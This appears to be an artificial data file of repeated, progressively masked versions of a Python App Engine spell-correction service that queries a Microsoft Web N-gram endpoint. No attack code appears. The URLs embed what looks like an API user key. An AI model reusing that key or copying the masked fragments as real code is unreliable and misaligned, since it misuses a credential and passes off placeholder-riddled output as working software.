dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x) > 1:\n counte += 1\n if counte == 0:\n return 1\n else:\n return counte\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\ndef getdictionary(wordelist):\n global MONTH, DATASET, NGRAM, PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i < 3:\n t = 0\n else:\n t = i - 3\n form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[\n t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH,\n 'd': DATASET, 'ng': NGRAM, 'pp': PROB}\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = 'http://timetest.forbackend.appspot.com/wordspellcheck'\n urlfetch.make_fetch_call(rpc, url, payload=formdata, method=\n urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]:\n continue\n else:\n for j in range(i, len(wordelist) + 1):\n pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
